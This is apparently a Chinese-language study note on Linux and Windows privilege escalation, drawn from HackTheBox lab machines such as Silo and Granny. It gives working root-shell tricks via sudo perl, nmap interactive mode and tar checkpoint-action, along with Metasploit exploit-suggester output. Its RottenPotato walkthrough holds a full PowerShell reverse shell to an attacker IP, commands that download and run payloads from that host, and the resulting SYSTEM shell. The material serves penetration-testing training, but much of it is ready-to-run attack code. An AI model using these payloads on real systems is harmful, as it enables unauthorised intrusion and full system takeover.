说是linux提权但在整理的时候不自主的把windows的内容也写了进去,结果变成了大杂烩,也不知道是好还是不好你
https://github.com/sagishahar/lpeworkshop
Windows提权:
FuzzySecurity | Windows Privilege Escalation Fundamentals
https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
Linux提权:
Basic Linux Privilege Escalation - g0tmi1k
各种语言的Reverse Shell:
Reverse Shell Cheat Sheet | pentestmonkey
通过suid查找授权应用
**find / -perm -4000**
**find / -perm -u=s -type f 2>/dev/null**
提权一个很重要的基础要求就是能看懂它漏洞文件,以及可以写出能利用漏洞的poc,所以踏实的掌握一门脚本语言是非常重要的
获取到低权限SHELL后我们通常做下面几件事
1.检测操作系统的发行版本 lsb_release -a
2.查看内核版本 uname -a
3.检测当前用户权限 id
4.列举Suid文件 find / -perm -u=s -type f 2>/dev/null
4.1列举root权限应用 sudo -l
5.查看已经安装的包,程序,运行的服务,过期版本的有可能有漏洞
6.查看防火墙有没有打开一些扫描不到的端口
7.使用linpeas,pspy等查看越权进程发
一般在靶场中windows的提权往往偏向于漏洞的利用,近几年据说添加了域提权的内容但是由于还没有报名,所以暂时还不能写,等到时候我在开一篇文章来专门写写域提权
步骤大概就是
1.在低权限下systeminfo查看版本漏洞
2.wes扫描一下systeminfo内容
3.winpean扫描一下机器
4.查看一下正在运行的进程,有没有什么可疑的
5.利用扫描出来的漏洞进行提权
6.实在不行使用msf
大概就是这样
需要在本地执行的 linpeas
wes本地扫描,只需要复制sysinfo指令的内容就可以
msf multi/recon/local_exploit_suggester漏洞扫描模块使用方法见下面的msf章节
nmap扫描 有专用于扫描win漏洞的vuln模块 nmap -p 445 --script vuln 10.10.10.4
可能会出现将sudo权限给了一些危险的应用,通过这些应用可以调取rootshell,比如说perl
当perl可以执行的且有管理员权限时,可以使用perl打开shell获得root权限
sudo perl -e 'exec "/bin/bash"'
-e 是用命令行执行程序,exec是执行程序
Linux perl命令|极客笔记 (deepinout.com)
使用场景
针对nmap有suid位的时候使用
操作
使用nmap --interactive 交互模式
nmap允许使用interactive选项来执行shell命令
使用!sh命令获得一个root权限的shell
因为nmap有suid位所以可以实现
当tar拥有更高的权限的时候可以选择用tar进行权限提升
$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
tar: Removing leading `/' from member names
id
uid=1000(onuma) gid=1000(onuma) groups=1000(onuma),24(cdrom),30(dip),46(plugdev)
htb退休靶机常见漏洞44298内核提权,这个属于外挂,谨慎使用
如果提权失败了,我个人建议你测试几个其他的exploit,新的内核版本也可以试试
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) – ‘overlayfs’ Local Root Shell
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation - Linux local Exploit
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) – ‘overlayfs’ Local Root Exploit
Linux Kernel 4.3.3 (Ubuntu 14.04/15.10) - 'overlayfs' Local Privilege Escalation (1) - Linux local Exploit
Linux Kernel 4.3.3 – ‘overlayfs’ Local Privilege Escalation
Linux Kernel 4.3.3 - 'overlayfs' Local Privilege Escalation (2) - Linux local Exploit
通过修改bash 的¥path来实现提权,暂时理解不了
linux 提权 实战Linux下三种不同方式的提权技巧 – WebShell'S Blog
这点高发在定期执行的程序上,一般定期执行的程序的执行权都会是root,如果写入权较低,导致低权限用户可以写入,那么就可以将提权代码以低权限写入root权限执行,实现提权
具体参考htb靶场的bashed靶机
可以参考tartarsause靶机了
经常在网页上会有数据库或者命令行的入口,命令行的权限一般是www,但是数据库的权限就非常有可能是root,那么我们是否可以利用高权限的数据库来执行一些指令呢,
mysql暂时不知道,但是OracleDB是可以实现的,具体参考我在htb靶场windows系列的silo靶机攻略中介绍的可以使这个数据库直接执行指令的工具odat
msf中有一个探测漏洞的模块,可以在使用msf获得一个低权限会话之后把它放在后台使用探测模块进行探索,找到提权漏洞之后,再次使用提权漏洞对会话进行攻击
具体见htb靶场windowds系列的Granny靶机
我在这里摘抄
使用后渗透模块先将会话保存到后台
meterpreter > background [*] Backgrounding session 1... msf6 exploit(windows/iis/cve_17_7269) > search post/multi/recon/local_exploit_suggester Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 post/multi/recon/local_exploit_suggester normal No Multi Recon Local Exploit Suggester Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester msf6 exploit(windows/iis/cve_17_7269) > use 0
这个模块是用来探查渗透系统有什么漏洞的
sessions 语句可以看到自己会话的id然后设计一下选项run就行
msf6 post(multi/recon/local_exploit_suggester) > show options Module options (post/multi/recon/local_exploit_suggester): Name Current Setting Required Description ---- --------------- -------- ----------- SESSION yes The session to run this modu le on SHOWDESCRIPTION false yes Displays a detailed descript ion for the available exploi ts msf6 post(multi/recon/local_exploit_suggester) > set session 1 session => 1 msf6 post(multi/recon/local_exploit_suggester) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/win NT AUTHORITY\NETWORK 10.10.16.2:4444 -> 1 dows SERVICE @ GRANNY 0.10.10.15:1030 (10. 10.10.15) msf6 post(multi/recon/local_exploit_suggester) > run
查看结果
msf6 post(multi/recon/local_exploit_suggester) > run [*] 10.10.10.15 - Collecting local exploits for x86/windows... [*] 10.10.10.15 - 38 exploit checks are being tried... [+] 10.10.10.15 - exploit/windows/local/ms10_015_kitrap0d: The service is running, but could not be validated. [+] 10.10.10.15 - exploit/windows/local/ms14_058_track_popup_menu: The target appears to be vulnerable. [+] 10.10.10.15 - exploit/windows/local/ms14_070_tcpip_ioctl: The target appears to be vulnerable. [+] 10.10.10.15 - exploit/windows/local/ms15_051_client_copy_image: The target appears to be vulnerable. [+] 10.10.10.15 - exploit/windows/local/ms16_016_webdav: The service is running, but could not be validated. [+] 10.10.10.15 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable. [+] 10.10.10.15 - exploit/windows/local/ppr_flatten_rec: The target appears to be vulnerable. [*] Post module execution completed
存在三个漏洞ms14058 ms14070 ms15051
通过在低权限下访问一些敏感文件往往可以获得ssh登录的密匙,密码和账户名一类的东西
详细见htb的slio靶机详解
当我们在一个普通权限下通过whoami /priv发现SeImpersonatePrivilege证明我们可以使用RottenPotato提权
PS C:\windows\system32\inetsrv>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
我们下载MSFRottenPotato.exeGitHub - decoder-it/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITYSYSTEM.
然后编译一个bat文件
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.14',8085); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0}; while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (IEX $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '; $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}; $client.Close()"
然后下载
PS C:\temp> (new-object net.webclient).downloadfile('http://10.10.14.14:8083/rev.bat', 'C:\temp\rev.bat')
PS C:\temp> (new-object net.webclient).downloadfile('http://10.10.14.14:8083/MSFRottenPotato.exe', 'C:\temp\lp.exe')
之后运行脚本
PS C:\temp> c:\temp\lp.exe * \temp\rev.bat
connect sock
CreateIlok: 0 0
start RPC connection
CreateDoc: 0 0
COM -> bytes received: 116
RPC -> bytes Sent: 116
RPC -> bytes received: 84
COM -> bytes sent: 84
COM -> bytes received: 24
RPC -> bytes Sent: 24
RPC -> bytes received: 132
COM -> bytes sent: 132
COM -> bytes received: 127
RPC -> bytes Sent: 127
RPC -> bytes received: 196
COM -> bytes sent: 196
COM -> bytes received: 243
RPC -> bytes Sent: 243
RPC -> bytes received: 192
COM -> bytes sent: 192
COM -> bytes received: 72
RPC -> bytes Sent: 72
RPC -> bytes received: 60
COM -> bytes sent: 60
COM -> bytes received: 42
RPC -> bytes Sent: 42
RPC -> bytes received: 56
COM -> bytes sent: 56
CoGet: -2147022986 0
[+] authresult != -1
[+] Elevated Token tye:2
[+] DuplicateTokenEx :1 0
[+] Duped Token type:1
[+] Running \temp\rev.bat sessionId 1
[+] CreateProcessWithTokenW OK
Auth result: 0
Return code: 0
Last error: 0
记得打开nc监听
root@kali:~/hackthebox/silo-10.10.10.82# nc -lnvp 8085
listening on [any] 8085 ...
connect to [10.10.14.14] from (UNKNOWN) [10.10.10.82] 49181
PS C:\Windows\system32> whoami
nt authority\system
某些服务器或者特殊用途的计算机会有保存机器内存镜像的习惯,当我们拿到一份诸如dmp格式的文件时可以尝试使用volatility来进行取证
并尝试获取靶机特权账号的hash之后通过psexec来使用hash登录